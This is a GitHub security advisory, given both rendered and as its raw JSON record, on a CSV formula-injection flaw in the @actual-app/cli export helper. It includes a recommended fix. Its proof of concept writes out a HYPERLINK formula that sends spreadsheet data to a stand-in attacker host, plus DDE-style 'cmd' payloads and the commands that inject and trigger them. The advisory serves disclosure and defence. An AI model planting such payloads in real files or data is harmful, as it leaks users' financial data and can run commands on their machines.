GHSA-7GH7-258J-4MPQ

Vulnerability from github – Published: 2026-06-22 21:42 – Updated: 2026-06-22 21:42
VLAI
Summary
@actual-app/cli `--format csv` Output Vulnerable to CSV Formula Injection via Custom `escapeCsv` Helper
Details

Summary

@actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts (used whenever the global --format csv option is passed) whose escapeCsv helper only handles RFC 4180 delimiter/quote/newline escaping. It does not neutralize the standard CSV formula-injection prefixes (=, +, -, @, \t, \r). Any CLI command that streams an object array containing user-controlled strings — transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, query — will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (=HYPERLINK(...), =WEBSERVICE(...)) and arbitrary formula execution.

This is a distinct variant of the formula-injection surface in packages/loot-core/src/server/transactions/export/export-to-csv.ts (which uses csv-stringify and would need a separate cast option fix) — they are different files, different packages, and different serializers. Fixing one does not fix the other.

Details

Vulnerable code

packages/cli/src/output.ts:98-103:

function escapeCsv(value: string): string {
  if (value.includes(',') || value.includes('"') || value.includes('\n')) {
    return '"' + value.replace(/"/g, '""') + '"';
  }
  return value;
}

The helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 parsing but irrelevant to spreadsheet formula evaluation. CSV double-quoting is invisible to Excel/Calc/Sheets — the unquoted cell value =HYPERLINK("http://attacker/?d="&B2,"Click") is still parsed as a formula by the spreadsheet, even when wrapped as "=HYPERLINK(""http://attacker/?d=""&B2,""Click"")" on disk.

Data flow to the sink

  1. The global --format option is registered at packages/cli/src/index.ts:53-57 with choices(['json','table','csv']) and applies to every subcommand.
  2. List/query subcommands invoke printOutput(data, format) (output.ts:105-107), which routes format === 'csv' to formatCsv (output.ts:71-96).
  3. For each row, every column is run through formatCellValue (output.ts:21-26): ts function formatCellValue(key: string, value: unknown): string { if (isAmountValue(key, value)) { return (value / 100).toFixed(2); } return String(value ?? ''); } Only the fixed AMOUNT_FIELDS set (amount, balance, budgeted, etc.) gets numeric coercion. User-controlled string fields — payee.name, account.name, category.name, notes, tag names, rule descriptions, schedule names — are passed verbatim to escapeCsv.
  4. escapeCsv returns the value unmodified unless it contains ,, ", or \n. A payload such as =1+1, @SUM(...), +1+cmd|'/c calc'!A0, or -2+3+cmd|'/c calc'!A0 therefore lands in the output as a leading-character formula.

Exploitability conditions

  • The CLI is installed and used by the victim (@actual-app/cli is published with "bin": { "actual": "./dist/cli.js", "actual-cli": "./dist/cli.js" }).
  • The attacker can persist a malicious string in any user-controlled field of the budget. Realistic vectors:
  • Co-user / co-collaborator of a synced budget (multi-device, or attacker-controlled sync server).
  • Sending the victim a crafted OFX/QIF/CSV import file.
  • API write access (e.g., over a compromised sync session).
  • The victim runs actual <list-cmd> --format csv > out.csv and opens out.csv in a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately.

There are no mitigations in the code path: no allowlist, no sanitizer, no cast option, no warning, and the CLI is shipped to end users via npm.

PoC

Setup (one-time — choose any user-controlled field; payee shown):

# Inject via the CLI's own write path (or via OFX/QIF/CSV import, or shared sync):
actual transactions add \
  --account "$ACCOUNT_ID" \
  --data '[{"payee_name":"=HYPERLINK(\"http://attacker.evil/leak?d=\"&B2,\"Bank refund\")","date":"2026-01-01","amount":10000}]'

Trigger (victim runs):

actual transactions list --account "$ACCOUNT_ID" --start 2026-01-01 --end 2026-12-31 --format csv > out.csv
cat out.csv

Observed output (abridged; quoting is RFC 4180-correct but the formula prefix is preserved):

id,date,amount,payee,notes,category,account,cleared,reconciled
abc...,2026-01-01,100.00,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2,""Bank refund"")",,,Checking,false,false

Open out.csv in Excel / LibreOffice Calc / Google Sheets → the payee cell renders as a clickable hyperlink that, when clicked (or auto-fetched in some configurations), exfiltrates neighboring cell content (B2 = the date, but trivially adjustable to any cell) to the attacker.

Minimal-payload variants that bypass escapeCsv entirely (no ,, ", or \n → no quoting at all):

  • Payee name =1+1 → cell shows 2.
  • Payee name @SUM(1+1) → cell shows 2.
  • Payee name +1+1 → cell shows 2.
  • Payee name -2+3 → cell shows 1.

The same applies to other list commands sharing the global --format option:

actual accounts list   --format csv      # account.name
actual payees   list   --format csv      # payee.name
actual categories list --format csv      # category.name
actual tags list       --format csv
actual category-groups list --format csv
actual rules list      --format csv
actual schedules list  --format csv
actual query "..."     --format csv

Verified by reading escapeCsv (packages/cli/src/output.ts:98-103): the only escape triggers are ,, ", \n, and even when triggered the leading character is preserved.

Impact

  • Data exfiltration in the victim's spreadsheet context via =HYPERLINK(...), =WEBSERVICE(...), =IMPORTXML(...) (Sheets), =IMPORTDATA(...) (Sheets) — typically one click for HYPERLINK, fully automatic for WEBSERVICE/IMPORT* on confirmation. Victim's financial data (account names, balances, transactions in adjacent cells) is the natural exfil target.
  • Arbitrary formula execution in the victim's spreadsheet context, including legacy DDE-style payloads on outdated Excel installations (potential RCE).
  • Trust-boundary crossing: financial data the victim assumes is "exported" becomes attacker-controlled active content. The CLI is the victim's own trusted tool; users do not expect actual transactions list --format csv to produce a file that runs code.

Blast radius is bounded by the requirement that the attacker plant a string in a user-controlled field and the victim opens the CSV in a spreadsheet — but both are realistic for a personal-finance app whose primary export workflow is "open in Excel".

Recommended Fix

Neutralize formula-trigger prefixes in escapeCsv before the existing RFC 4180 quoting. Example:

// packages/cli/src/output.ts
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;

function escapeCsv(value: string): string {
  // Neutralize spreadsheet formula prefixes (CWE-1236).
  if (FORMULA_TRIGGERS.test(value)) {
    value = "'" + value;
  }
  if (value.includes(',') || value.includes('"') || value.includes('\n')) {
    return '"' + value.replace(/"/g, '""') + '"';
  }
  return value;
}

The leading single-quote is the OWASP-recommended neutralizer: it is stripped by Excel/Calc on display but prevents formula evaluation. Apply the same fix in packages/loot-core/src/server/transactions/export/export-to-csv.ts by passing a cast option to csv-stringify that prepends ' to any string starting with a formula trigger — the two sites are independent and both must be patched.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@actual-app/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:42:15Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`@actual-app/cli` ships a hand-rolled CSV serializer in `packages/cli/src/output.ts` (used whenever the global `--format csv` option is passed) whose `escapeCsv` helper only handles RFC 4180 delimiter/quote/newline escaping. It does **not** neutralize the standard CSV formula-injection prefixes (`=`, `+`, `-`, `@`, `\\t`, `\\r`). Any CLI command that streams an object array containing user-controlled strings \u2014 `transactions list`, `accounts list`, `payees list`, `categories list`, `tags list`, `category-groups list`, `rules list`, `schedules list`, `query` \u2014 will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (`=HYPERLINK(...)`, `=WEBSERVICE(...)`) and arbitrary formula execution.\n\nThis is a **distinct variant** of the formula-injection surface in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` (which uses `csv-stringify` and would need a separate `cast` option fix) \u2014 they are different files, different packages, and different serializers. Fixing one does not fix the other.\n\n## Details\n\n### Vulnerable code\n\n`packages/cli/src/output.ts:98-103`:\n\n```ts\nfunction escapeCsv(value: string): string {\n  if (value.includes(\u0027,\u0027) || value.includes(\u0027\"\u0027) || value.includes(\u0027\\n\u0027)) {\n    return \u0027\"\u0027 + value.replace(/\"/g, \u0027\"\"\u0027) + \u0027\"\u0027;\n  }\n  return value;\n}\n```\n\nThe helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 *parsing* but irrelevant to spreadsheet *formula evaluation*. CSV double-quoting is invisible to Excel/Calc/Sheets \u2014 the unquoted cell value `=HYPERLINK(\"http://attacker/?d=\"\u0026B2,\"Click\")` is still parsed as a formula by the spreadsheet, even when wrapped as `\"=HYPERLINK(\"\"http://attacker/?d=\"\"\u0026B2,\"\"Click\"\")\"` on disk.\n\n### Data flow to the sink\n\n1. The global `--format` option is registered at `packages/cli/src/index.ts:53-57` with `choices([\u0027json\u0027,\u0027table\u0027,\u0027csv\u0027])` and applies to every subcommand.\n2. List/query subcommands invoke `printOutput(data, format)` (`output.ts:105-107`), which routes `format === \u0027csv\u0027` to `formatCsv` (`output.ts:71-96`).\n3. For each row, every column is run through `formatCellValue` (`output.ts:21-26`):\n   ```ts\n   function formatCellValue(key: string, value: unknown): string {\n     if (isAmountValue(key, value)) {\n       return (value / 100).toFixed(2);\n     }\n     return String(value ?? \u0027\u0027);\n   }\n   ```\n   Only the fixed `AMOUNT_FIELDS` set (`amount`, `balance`, `budgeted`, etc.) gets numeric coercion. User-controlled string fields \u2014 `payee.name`, `account.name`, `category.name`, `notes`, tag names, rule descriptions, schedule names \u2014 are passed verbatim to `escapeCsv`.\n4. `escapeCsv` returns the value unmodified unless it contains `,`, `\"`, or `\\n`. A payload such as `=1+1`, `@SUM(...)`, `+1+cmd|\u0027/c calc\u0027!A0`, or `-2+3+cmd|\u0027/c calc\u0027!A0` therefore lands in the output as a leading-character formula.\n\n### Exploitability conditions\n\n- The CLI is installed and used by the victim (`@actual-app/cli` is published with `\"bin\": { \"actual\": \"./dist/cli.js\", \"actual-cli\": \"./dist/cli.js\" }`).\n- The attacker can persist a malicious string in any user-controlled field of the budget. Realistic vectors:\n  - Co-user / co-collaborator of a synced budget (multi-device, or attacker-controlled sync server).\n  - Sending the victim a crafted OFX/QIF/CSV import file.\n  - API write access (e.g., over a compromised sync session).\n- The victim runs `actual \u003clist-cmd\u003e --format csv \u003e out.csv` and opens `out.csv` in a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately.\n\nThere are **no mitigations** in the code path: no allowlist, no sanitizer, no `cast` option, no warning, and the CLI is shipped to end users via npm.\n\n## PoC\n\nSetup (one-time \u2014 choose any user-controlled field; payee shown):\n\n```bash\n# Inject via the CLI\u0027s own write path (or via OFX/QIF/CSV import, or shared sync):\nactual transactions add \\\n  --account \"$ACCOUNT_ID\" \\\n  --data \u0027[{\"payee_name\":\"=HYPERLINK(\\\"http://attacker.evil/leak?d=\\\"\u0026B2,\\\"Bank refund\\\")\",\"date\":\"2026-01-01\",\"amount\":10000}]\u0027\n```\n\nTrigger (victim runs):\n\n```bash\nactual transactions list --account \"$ACCOUNT_ID\" --start 2026-01-01 --end 2026-12-31 --format csv \u003e out.csv\ncat out.csv\n```\n\nObserved output (abridged; quoting is RFC 4180-correct but the formula prefix is preserved):\n\n```\nid,date,amount,payee,notes,category,account,cleared,reconciled\nabc...,2026-01-01,100.00,\"=HYPERLINK(\"\"http://attacker.evil/leak?d=\"\"\u0026B2,\"\"Bank refund\"\")\",,,Checking,false,false\n```\n\nOpen `out.csv` in Excel / LibreOffice Calc / Google Sheets \u2192 the `payee` cell renders as a clickable hyperlink that, when clicked (or auto-fetched in some configurations), exfiltrates neighboring cell content (`B2` = the date, but trivially adjustable to any cell) to the attacker.\n\nMinimal-payload variants that bypass `escapeCsv` entirely (no `,`, `\"`, or `\\n` \u2192 no quoting at all):\n\n- Payee name `=1+1` \u2192 cell shows `2`.\n- Payee name `@SUM(1+1)` \u2192 cell shows `2`.\n- Payee name `+1+1` \u2192 cell shows `2`.\n- Payee name `-2+3` \u2192 cell shows `1`.\n\nThe same applies to other list commands sharing the global `--format` option:\n\n```bash\nactual accounts list   --format csv      # account.name\nactual payees   list   --format csv      # payee.name\nactual categories list --format csv      # category.name\nactual tags list       --format csv\nactual category-groups list --format csv\nactual rules list      --format csv\nactual schedules list  --format csv\nactual query \"...\"     --format csv\n```\n\nVerified by reading `escapeCsv` (`packages/cli/src/output.ts:98-103`): the only escape triggers are `,`, `\"`, `\\n`, and even when triggered the leading character is preserved.\n\n## Impact\n\n- **Data exfiltration** in the victim\u0027s spreadsheet context via `=HYPERLINK(...)`, `=WEBSERVICE(...)`, `=IMPORTXML(...)` (Sheets), `=IMPORTDATA(...)` (Sheets) \u2014 typically one click for HYPERLINK, fully automatic for WEBSERVICE/IMPORT* on confirmation. Victim\u0027s financial data (account names, balances, transactions in adjacent cells) is the natural exfil target.\n- **Arbitrary formula execution** in the victim\u0027s spreadsheet context, including legacy DDE-style payloads on outdated Excel installations (potential RCE).\n- **Trust-boundary crossing**: financial data the victim assumes is \"exported\" becomes attacker-controlled active content. The CLI is the victim\u0027s own trusted tool; users do not expect `actual transactions list --format csv` to produce a file that runs code.\n\nBlast radius is bounded by the requirement that the attacker plant a string in a user-controlled field and the victim opens the CSV in a spreadsheet \u2014 but both are realistic for a personal-finance app whose primary export workflow is \"open in Excel\".\n\n## Recommended Fix\n\nNeutralize formula-trigger prefixes in `escapeCsv` *before* the existing RFC 4180 quoting. Example:\n\n```ts\n// packages/cli/src/output.ts\nconst FORMULA_TRIGGERS = /^[=+\\-@\\t\\r]/;\n\nfunction escapeCsv(value: string): string {\n  // Neutralize spreadsheet formula prefixes (CWE-1236).\n  if (FORMULA_TRIGGERS.test(value)) {\n    value = \"\u0027\" + value;\n  }\n  if (value.includes(\u0027,\u0027) || value.includes(\u0027\"\u0027) || value.includes(\u0027\\n\u0027)) {\n    return \u0027\"\u0027 + value.replace(/\"/g, \u0027\"\"\u0027) + \u0027\"\u0027;\n  }\n  return value;\n}\n```\n\nThe leading single-quote is the OWASP-recommended neutralizer: it is stripped by Excel/Calc on display but prevents formula evaluation. Apply the same fix in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` by passing a `cast` option to `csv-stringify` that prepends `\u0027` to any string starting with a formula trigger \u2014 the two sites are independent and both must be patched.",
  "id": "GHSA-7gh7-258j-4mpq",
  "modified": "2026-06-22T21:42:15Z",
  "published": "2026-06-22T21:42:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-7gh7-258j-4mpq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/actualbudget/actual"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@actual-app/cli `--format csv` Output Vulnerable to CSV Formula Injection via Custom `escapeCsv` Helper"
}


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